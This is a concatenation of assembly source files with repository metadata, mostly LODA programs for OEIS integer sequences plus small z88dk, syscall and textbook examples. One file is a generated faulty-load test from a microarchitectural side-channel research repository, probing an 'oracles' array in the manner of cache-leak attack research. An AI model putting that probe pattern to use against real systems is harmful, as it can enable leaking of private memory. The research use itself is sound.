2021-03-15T11:38:20.000Z
programs/oeis/036/A036408.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/036/A036408.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A036408: a(n) = ceiling(n^2/10). ; 0,1,1,1,2,3,4,5,7,9,10,13,15,17,20,23,26,29,33,37,40,45,49,53,58,63,68,73,79,85,90,97,103,109,116,123,130,137,145,153,160,169,177,185,194,203,212,221,231,241,250,261,271,281,292,303,314,325 pow $0,2 add $0,9 div $0,10 mov $1,$0
33.25
191
0.650376
56217cb29e58d017eeb2b9901ec19d0b63036ce0
624
asm
Assembly
oeis/167/A167936.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/167/A167936.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/167/A167936.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A167936: 2^n - A108411(n). ; Submitted by Jamie Morken(s2) ; 0,1,1,5,7,23,37,101,175,431,781,1805,3367,7463,14197,30581,58975,124511,242461,504605,989527,2038103,4017157,8211461,16245775,33022991,65514541,132623405,263652487,532087943,1059392917,2133134741,4251920575,8546887871,17050729021,34230598205,68332056247,137051532983,273715645477,548593552421,1096024843375,2195536471151,4387586157901,8785632669005,17560804984807,35152991029223,70274600998837,140643345176501,281192547174175,562667523884831,1125052618233181,2250952525075805,4501057761542167 mov $2,$0 mov $0,2 pow $0,$2 mov $1,3 div $2,2 pow $1,$2 sub $0,$1
52
494
0.826923
c0cdd8da1ef7e6433c5d42c8effe56b82e08eda4
641
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fdiv_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fdiv_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fdiv_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; float __fdiv_callee (float left, float right) SECTION code_clib SECTION code_fp_am9511 PUBLIC cam32_sccz80_fdiv_callee EXTERN asm_am9511_fdiv_callee ; divide sccz80 float by sccz80 float ; ; enter : stack = sccz80_float left, ret ; DEHL = sccz80_float right ; ; exit : DEHL = sccz80_float(left/right) ; ; uses : af, bc, de, hl, af', bc', de', hl' defc cam32_sccz80_fdiv_callee = asm_am9511_fdiv_callee ; enter stack = sccz80_float left, ret ; DEHL = sccz80_float right ; return DEHL = sccz80_float
26.708333
66
0.597504
9e89da734572ca79403b6302213c2d69f54b09c9
428
asm
Assembly
oeis/347/A347840.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/347/A347840.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/347/A347840.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A347840: A surjective map of the positive numbers congruent to 5 modulo 8 (A004770) to the positive numbers congruent to 1, 3, or 7 modulo 8 (A047529). ; Submitted by Christian Krause ; 1,3,1,7,9,11,3,15,17,19,1,23,25,27,7,31,33,35,9,39,41,43,11,47,49,51,3,55,57,59,15,63,65,67,17,71,73,75,19,79,81,83,1,87,89,91,23,95,97,99,25,103,105,107,27,111,113,115,7,119,121 add $0,2 lpb $0 dif $0,4 add $0,1 lpe mul $0,2 sub $0,3
35.666667
180
0.684579
eb4c3c81c15fbf87fd40f2fe4a07ab04eb11b925
439
asm
Assembly
programs/oeis/064/A064161.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/064/A064161.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/064/A064161.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A064161: Least abundant number divisible by the n-th prime number. ; 12,12,20,42,66,78,102,114,138,174,186,222,246,258,282,318,354,366,402,426,438,474,498,534,582,606,618,642,654,678,762,786,822,834,894,906,942,978,1002,1038,1074,1086,1146,1158,1182,1194,1266,1338,1362,1374 seq $0,40976 ; a(n) = prime(n) - 2. mov $2,$0 cmp $2,0 add $0,$2 mov $3,8 div $3,$0 mul $0,3 add $4,$3 mov $2,$4 cmp $2,0 add $4,$2 div $0,$4 mul $0,2 add $0,12
24.388889
207
0.669704
5424a662b8755bdc1004f0c09af9fdc1e0b48247
236
asm
Assembly
main.asm
Mourtz/Space-Invaders
75c0bcfe2ea49b7a04b48001e54a4e860f80f212
[ "MIT" ]
null
null
null
main.asm
Mourtz/Space-Invaders
75c0bcfe2ea49b7a04b48001e54a4e860f80f212
[ "MIT" ]
null
null
null
main.asm
Mourtz/Space-Invaders
75c0bcfe2ea49b7a04b48001e54a4e860f80f212
[ "MIT" ]
null
null
null
; @param message to print (string) ; @param the length of the message (number) global print print: ;; 1 arg mov r10, rdi ;; 2 arg mov r11, rsi ;; call write syscall mov rax, 1 mov rdi, 1 mov rsi, r10 mov rdx, r11 syscall ret
14.75
43
0.665254
cc8c312a57b8ebc183fb13e522924087f468bf6c
281
asm
Assembly
programs/oeis/099/A099893.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/099/A099893.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/099/A099893.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A099893: XOR BINOMIAL transform of A006068 (inverse Gray code). ; 0,1,3,0,7,0,0,0,15,0,0,0,0,0,0,0,31,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,127 mul $0,2 mov $1,2 pow $1,$0 gcd $1,$0 cmp $0,$1 pow $1,$0 mov $0,$1 sub $0,1
23.416667
136
0.572954
4d90b952628eaf3c900be60800b9b208eb080509
858
asm
Assembly
Examples/ch08/ModSum/Sum_main.asm
satadriver/LiunuxOS
693174ac2b3e503d72782fc7a14f18c8a4f2756c
[ "Apache-2.0" ]
null
null
null
Examples/ch08/ModSum/Sum_main.asm
satadriver/LiunuxOS
693174ac2b3e503d72782fc7a14f18c8a4f2756c
[ "Apache-2.0" ]
null
null
null
Examples/ch08/ModSum/Sum_main.asm
satadriver/LiunuxOS
693174ac2b3e503d72782fc7a14f18c8a4f2756c
[ "Apache-2.0" ]
null
null
null
TITLE Integer Summation Program (Sum_main.asm) ; Multimodule example: (main module) ; This program inputs multiple integers from the user, ; stores them in an array, calculates the sum of the ; array, and displays the sum. ; Last update: 8/29/01 INCLUDE sum.inc ; modify Count to change the size of the array: Count = 3 .data prompt1 BYTE "Enter a signed integer: ",0 prompt2 BYTE "The sum of the integers is: ",0 array DWORD Count DUP(?) sum DWORD ? .code main PROC call Clrscr INVOKE PromptForIntegers, ; input the array ADDR prompt1, ADDR array, Count INVOKE ArraySum, ; sum the array ADDR array, ; (returns sum in EAX) Count mov sum,eax ; save the sum INVOKE DisplaySum, ; display the sum ADDR prompt2, sum call Crlf INVOKE ExitProcess,0 main ENDP END main
20.428571
55
0.672494
f4b632d4b6fc24a2dce33dec8e2e3e335823aabc
280
asm
Assembly
oeis/145/A145924.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/145/A145924.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/145/A145924.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A145924: Last digit of A145923(n). ; Submitted by Christian Krause ; 9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3,9,3,5,5,3 pow $0,10 mul $0,4 add $0,9 mod $0,10
31.111111
171
0.567857
71e677c666af92394a91081971e4aa68c447dc29
876
asm
Assembly
programs/oeis/194/A194964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/194/A194964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/194/A194964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A194964: a(n) = 1 + floor(n/sqrt(5)). ; 1,1,2,2,3,3,4,4,5,5,5,6,6,7,7,8,8,9,9,9,10,10,11,11,12,12,13,13,13,14,14,15,15,16,16,17,17,17,18,18,19,19,20,20,21,21,22,22,22,23,23,24,24,25,25,26,26,26,27,27,28,28,29,29,30,30,30,31,31,32,32,33,33,34,34,34,35,35,36,36,37,37,38,38,39,39,39,40,40,41,41,42,42,43,43,43,44,44,45,45,46,46,47,47,47,48,48,49,49,50,50,51,51,51,52,52,53,53,54,54,55,55,56,56,56,57,57,58,58,59,59,60,60,60,61,61,62,62,63,63,64,64,64,65,65,66,66,67,67,68,68,68,69,69,70,70,71,71,72,72,73,73,73,74,74,75,75,76,76,77,77,77,78,78,79,79,80,80,81,81,81,82,82,83,83,84,84,85,85,85,86,86,87,87,88,88,89,89,89,90,90,91,91,92,92,93,93,94,94,94,95,95,96,96,97,97,98,98,98,99,99,100,100,101,101,102,102,102,103,103,104,104,105,105,106,106,106,107,107,108,108,109,109,110,110,111,111,111,112,112 add $0,1 pow $0,2 lpb $0,1 add $1,10 sub $0,$1 lpe div $1,10 add $1,1
73
760
0.650685
2e8d98f2cb7efc715c6a35f8a3bdc43a4f21bc59
304
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_memset_vram.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_memset_vram.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/vram/c/sccz80/sms_memset_vram.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *sms_memset_vram(void *dst, unsigned char c, unsigned int n) SECTION code_clib SECTION code_arch PUBLIC sms_memset_vram EXTERN asm_sms_memset_vram sms_memset_vram: pop af pop bc pop hl pop de push de push hl push bc push af ld a,l jp asm_sms_memset_vram
12.666667
67
0.700658
8b17b21a18f17a7c6e1b969e96220fbcaf78a740
652
asm
Assembly
oeis/041/A041010.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/041/A041010.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/041/A041010.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041010: Numerators of continued fraction convergents to sqrt(8). ; 2,3,14,17,82,99,478,577,2786,3363,16238,19601,94642,114243,551614,665857,3215042,3880899,18738638,22619537,109216786,131836323,636562078,768398401,3710155682,4478554083,21624372014,26102926097,126036076402,152139002499,734592086398,886731088897,4281516441986,5168247530883,24954506565518,30122754096401,145445522951122,175568277047523,847718631141214,1023286908188737,4940866263896162,5964153172084899,28797478952235758,34761632124320657,167844007449518386,202605639573839043,978266565744874558 mov $1,2 gcd $1,$0 seq $0,78057 ; Expansion of (1+x)/(1-2*x-x^2). mul $1,$0 mov $0,$1
72.444444
496
0.842025
dd0a007715e7fb7c87a4a3c2aa4bf13a521c0b58
116
asm
Assembly
CPU/cpu_test/test_storage/test3_md_0.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
55
2021-09-06T12:12:47.000Z
2022-01-15T04:30:53.000Z
CPU/cpu_test/test_storage/test3_md_0.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
null
null
null
CPU/cpu_test/test_storage/test3_md_0.asm
SilenceX12138/MIPS-Microsystems
d389b706b0930151a710b544db436c2883af958b
[ "MIT" ]
null
null
null
ori $1,$0,0x9283 lui $2,0xffff ori $2,$2,0xfffa mult $1,$2 mfhi $4 mflo $5 div $1,$2 mfhi $7 mflo $8 mtlo $7 mflo $9
10.545455
16
0.62931
27c816c44b18237b0b73f9e199d1af37fbf8eb2a
4,578
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1365.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1365.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1365.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x9266, %r10 xor $50845, %r8 mov (%r10), %ebp nop nop nop nop nop xor $25931, %r12 lea addresses_normal_ht+0x1b946, %rsi lea addresses_UC_ht+0x1acc6, %rdi nop nop nop nop nop xor %r11, %r11 mov $126, %rcx rep movsq nop and %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r9 push %rax push %rdx push %rsi // Store lea addresses_US+0x1e3c6, %r15 nop nop inc %r13 movb $0x51, (%r15) dec %rax // Faulty Load lea addresses_WC+0xd146, %r10 dec %rsi mov (%r10), %r9 lea oracles, %r13 and $0xff, %r9 shlq $12, %r9 mov (%r13,%r9,1), %r9 pop %rsi pop %rdx pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
50.866667
2,999
0.66055
345adcaba259270dcd7f00f55c87581b1c4dbe8b
676
asm
Assembly
oeis/024/A024629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/024/A024629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/024/A024629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A024629: n written in fractional base 3/2. ; Submitted by Jon Maiga ; 0,1,2,20,21,22,210,211,212,2100,2101,2102,2120,2121,2122,21010,21011,21012,21200,21201,21202,21220,21221,21222,210110,210111,210112,212000,212001,212002,212020,212021,212022,212210,212211,212212,2101100,2101101,2101102,2101120,2101121,2101122,2120010,2120011,2120012,2120200,2120201,2120202,2120220,2120221,2120222,2122110,2122111,2122112,21011000,21011001,21011002,21011020,21011021,21011022,21011210,21011211,21011212,21200100,21200101,21200102,21200120,21200121,21200122,21202010,21202011 mov $3,1 lpb $0 mov $2,$0 div $0,3 mul $0,2 mod $2,3 mul $2,$3 add $1,$2 mul $3,10 lpe mov $0,$1
42.25
493
0.778107
0f16ffd02b45345572f19560a15462d15e74dd23
1,814
asm
Assembly
programs/oeis/002/A002664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/002/A002664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/002/A002664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A002664: a(n) = 2^n - C(n,0)- ... - C(n,4). ; 0,0,0,0,0,1,7,29,93,256,638,1486,3302,7099,14913,30827,63019,127858,258096,519252,1042380,2089605,4185195,8377705,16764265,33539156,67090962,134196874,268411298,536843071,1073709893,2147447191,4294925847,8589887654,17179816228,34359678832,68719410024,137438878953,274877823951,549755721717,1099511525685,2199023142760,4398046386790,8796092885510,17592185894430,35184371924611,70368743998217,140737488159619,281474976497603,562949953189786,1125899906591448,2251799813413196,4503599627076292,9007199254423309,18014398509139443,36028797018595137,72057594037531329,144115188075429948,288230376151254906,576460752302934082,1152921504606323290,2305843009213134215,4611686018426790285,9223372036854138415,18446744073708872495,36893488147418380366,73786976294837437772,147573952589675596264,295147905179351959008,590295810358704732401,1180591620717410329303,2361183241434821575501,4722366482869644122637,9444732965739289274064,18889465931478579636558,37778931862957160423742,75557863725914322062934,151115727451828645408843,302231454903657292170961,604462909807314585768347,1208925819614629173039195,2417851639229258347659970,4835703278458516696983680,9671406556917033395716420,19342813113834066793270460,38685626227668133588470421,77371252455336267178965627,154742504910672534360054809,309485009821345068722335513,618970019642690137447002916,1237940039285380274896447458,2475880078570760549795450106,4951760157141521099593572882,9903520314283042199189939919,19807040628566084398382799573,39614081257132168796768648647,79228162514264337593540480839,158456325028528675187084283638,316912650057057350374172032116,633825300114114700748347676512 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,2663 ; a(n) = 2^n - C(n,0) - C(n,1) - C(n,2) - C(n,3). add $1,$2 lpe mov $0,$1
151.166667
1,635
0.885888
f53b4b38d51d9f6f32b7d4cf131136e52754e69c
3,327
asm
Assembly
programs/oeis/242/A242850.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/242/A242850.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/242/A242850.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A242850: 32*n^5 - 32*n^3 + 6*n. ; 0,6,780,6930,30744,96030,241956,526890,1032240,1866294,3168060,5111106,7907400,11811150,17122644,24192090,33423456,45278310,60279660,79015794,102144120,130395006,164575620,205573770,254361744,312000150,379641756,458535330,550029480,655576494,776736180,915179706,1072693440,1251182790,1452676044,1679328210,1933424856,2217385950,2533769700,2885276394,3274752240,3705193206,4179748860,4701726210,5274593544,5901984270,6587700756,7335718170,8150188320,9035443494,9996000300,11036563506,12162029880,13377492030,14688242244,16099776330,17617797456,19248219990,20997173340,22871005794,24876288360,27019818606,29308624500,31749968250,34351350144,37120512390,40065442956,43194379410,46515812760,50038491294,53771424420,57723886506,61905420720,66325842870,70995245244,75924000450,81122765256,86602484430,92374394580,98450027994,104841216480,111560095206,118619106540,126031003890,133808855544,141966048510,150516292356,159473623050,168852406800,178667343894,188933472540,199666172706,210881169960,222594539310,234822709044,247582464570,260890952256,274765683270,289224537420,304285766994,319968000600,336290247006,353271898980,370932737130,389292933744,408373056630,428194072956,448777353090,470144674440,492318225294,515320608660,539174846106,563904381600,589533085350,616085257644,643585632690,672059382456,701532120510,732029905860,763579246794,796207104720,829940898006,864808505820,900838271970,938059008744,976500000750,1016191008756,1057162273530,1099444519680,1143068959494,1188067296780,1234471730706,1282314959640,1331630184990,1382451115044,1434811968810,1488747479856,1544292900150,1601484003900,1660357091394,1720948992840,1783297072206,1847439231060,1913413912410,1981260104544,2051017344870,2122725723756,2196425888370,2272159046520,2349966970494,2429892000900,2511977050506,2596265608080,2682801742230,2771630105244,2862795936930,2956345068456,3052323926190,3150779535540,3251759524794,3355312128960,3461486193606,3570331178700,3681897162450,3796234845144,3913395552990,4033431241956,4156394501610,4282338558960,4411317282294,4543385185020,4678597429506,4817009830920,4958678861070,5103661652244,5252016001050,5403800372256,5559073902630,5717896404780,5880328370994,6046430977080,6216266086206,6389896252740,6567384726090,6748795454544,6934193089110,7123642987356,7317211217250,7514964561000,7716970518894,7923297313140,8134013891706,8349189932160,8568895845510,8793202780044,9022182625170,9255908015256,9494452333470,9737889715620,9986295053994,10239744001200,10498312974006,10762079157180,11031120507330,11305515756744,11585344417230,11870686783956,12161623939290,12458237756640,12760610904294,13068826849260,13382969861106,13703125015800,14029378199550,14361816112644,14700526273290,15045597021456,15397117522710,15755177772060,16119868597794,16491281665320,16869509481006,17254645396020,17646783610170,18046019175744,18452448001350,18866166855756,19287273371730,19715866049880,20152044262494,20595908257380,21047559161706,21507098985840,21974630627190,22450257874044,22934085409410,23426218814856,23926764574350,24435830078100,24953523626394,25479954433440,26015232631206,26559469273260,27112776338610,27675266735544,28247054305470,28828253826756,29418981018570,30019352544720,30629486017494 mul $0,2 mov $2,$0 mul $2,$0 sub $2,2 pow $2,2 mov $3,$0 mul $0,$2 sub $0,$3 mov $1,$0
255.923077
3,204
0.906222
a8218e3c2bd9d45cb292da9beb0423536a0d0195
971
asm
Assembly
oeis/219/A219810.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/219/A219810.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/219/A219810.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
